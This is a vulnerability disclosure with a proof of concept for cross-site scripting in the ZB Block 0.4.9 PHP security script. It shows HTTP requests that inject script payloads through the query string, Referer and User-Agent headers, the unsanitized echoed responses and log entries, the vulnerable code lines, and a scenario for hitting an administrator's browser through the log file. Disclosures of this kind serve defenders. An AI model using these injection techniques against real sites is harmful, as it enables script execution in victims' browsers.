Proof of Concept:
====================Triggering Attack Against Site which is protected using ZB Block========================
cmd> GET /myfiles/10/zbblock/hackme.php?id=<script>alert("Is it safe?");</script> HTTP/1.0
cmd> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, /
cmd> Referer: http://microshit.attacks/you?id=<script>alert("Pwn using Referer");</script>
cmd> User-Agent: <script>alert("Pwn Using user Agent");</script>
cmd> Host: 192.168.0.15
cmd>
hdr> HTTP/1.1 403 FORBIDDEN
hdr> Date: Mon, 05 Mar 2012 13:36:51 GMT
hdr> Server: Apache
hdr> Status: 403 FORBIDDEN
hdr> Warning: 199 192.168.0.15:80 You_are_abusive/hacking/spamming_192.168.0.15
hdr> Abuse: Your connection is not welcome due to: http javascript (wedge end/script start) injection. XSS attack obfuscation. http javascript (wedge end/script start) injection. http javascript (wedge start/script end) injection. http javascript (wedge end/script start) injection. http javascript (wedge start/script end) injection.
hdr> Content-Length: 3890
hdr> Content-Type: text/html
RequestDone Error = 0
StatusCode = 403
================= END OF REQUEST ======================================
Responce:(Take a look it doesn't touches HTTP_REFERER and HTTP_USER_AGENT( and it is same as "original" - without any sanitization)
--------------------------------------------------- SNIPPET GOES -------------------------------------------------------
<strong><font color="#0000FF">Record #:</font></strong> 1<br>
<strong><font color="#0000FF">Time:</font></strong> Mon, 05 Mar 2012 13:36:51 +0000<br>
<strong><font color="#0000FF">Running:</font></strong> 0.4.9_Final<br>
<strong><font color="#0000FF">Host:</font></strong> labmachine.mshome.net<br>
<strong><font color="#0000FF">IP:</font></strong> 192.168.0.1<br>
<strong><font color="#0000FF">Post:</font></strong> <br>
<strong><font color="#0000FF">Query:</font></strong> id=<script>alert("Is<br>
<strong><font color="#0000FF">Stripped Query:</font></strong> id=<script>alert("is<br>
<strong><font color="#0000FF">Referer:</font></strong> http://microshit.attacks/you?id=<script>alert("pwn using referer");</script><br>
<strong><font color="#0000FF">User Agent:</font></strong> <script>alert("Pwn Using user Agent");</script><br>
<strong><font color="#0000FF">Reconstructed URL:</font></strong> http:// 192.168.0.15 /myfiles/10/zbblock/hackme.php?id=<script>alert("Is<br>
<br> Generated by <a href="http://www.spambotsecurity.com/zbblock.php" >ZB Block 0.4.9_Final</a></p>
</body>
</html>
--------------------------------------------------- END OF SNIPPET -------------------------------------------------------
Print Screen:
http://i009.radikal.ru/1203/71/7d0fd71f5c5d.png
/----------------------------------------------VULNERABLE CODE--------------------------------------------------------------/
//zbblock.php
// LINE NO 455 && 459
if(isset($_SERVER['HTTP_REFERER'])){$fromhost2=@$_SERVER['HTTP_REFERER'];}
$fromhost=strtolower($fromhost2);
$fromhostsws=preg_replace('/\s+/','',$fromhost);
$fromhostsws=preg_replace("/[^\x9\xA\xD\x20-\x7F]/",'',$fromhostsws);
if(isset($_SERVER['HTTP_USER_AGENT'])){$useragent=@$_SERVER['HTTP_USER_AGENT'];}
$lcuseragent=strtolower($useragent);
$lcuseragentsws=preg_replace('/\s+/','',$lcuseragent);
$lcuseragentsws=preg_replace("/[^\x9\xA\xD\x20-\x7F]/",'',$lcuseragentsws);
/------------------------------------- END OF VULNERABLE CODE -------------------------------------------------------/
Defaulty this script writes log file:
filename: killed_log.txt
Exist in: {zbblockWHERE_INSTALLED}/vault/killed_log.txt
Which is not readable from HTTP (because access to that area protected using .htaccess (Deny from all)
Ok,lets see it's content after triggering attack:
1 <?php die(''); ?>
2
3 #: 1 @: Mon, 05 Mar 2012 13:36:09 +0000 Running: 0.4.9_Final
4 Host: labmachine.mshome.net
5 IP: 192.168.0.1
6 Score: 6
7 Violation count: 0
8 Why blocked: http javascript (wedge end/script start) injection. XSS attack obfuscation. http javascript (wedge end/script
As you can see:
10 Referer: http://microshit.attacks/you?id=<script>alert("pwn using referer");</script>
11 User Agent: <script>alert("Pwn Using user Agent");</script>
21 Referer: http://microshit.attacks/you?id=<script>alert("pwn using referer");</script>
22 User Agent: <script>alert("Pwn Using user Agent");</script>
Same as original.In future which may cause problems for site administrator.
Can't because .txt file and protected using .htaccess ? :)
This gives to us a bit advantage to catch site admin and automatically exploitate our XSS attack.
Theris a chance admin will read that file using some "reader script" and admin believes that killed_log.txt is safe)
In ex:
<?php
echo '<pre>' .
file_get_contents('./vault/killed_log.txt') . '</pre>';
So, theris a chance to execute our javascript(html) in context of admin's browser.
Also here is another non-persistent XSS while detecting POST request intrusion attempt.
Responce:
----------------------- SNIPPET -------------------------------------------------------------------------------------
<strong><font color="#0000FF">Post:</font></strong> f=<script>alert("Pwned");</script>&fupl=G%F6nd%26%23601%3Br%21<br>
----------------------- END OF SNIPPET -------------------------------------------------------------------------------------
So why this occurs?
//And if we'll look to up line no: 472
$rawpost=file_get_contents("php://input");
//No sanitization again
// I think
/*--------------------------- SINCE POST DATA content is not logging to killed_logs.txt
and it is only for print to client side we can use on line 855
<strong><font color="#0000FF">Post:</font></strong> ' . htmlentities($rawpost) . '<br>
This also applies to line no: 838
$dummy = $ini['e_mail'] . '?subject=Event ID:#' . $zbcounter . ' on ' . $thishost . '&body=' . htmlentities($dummy);
---------------------------------------------------------- EOF --------------------------------------------------------------------------------*/
/AkaStep ^_^
1330959272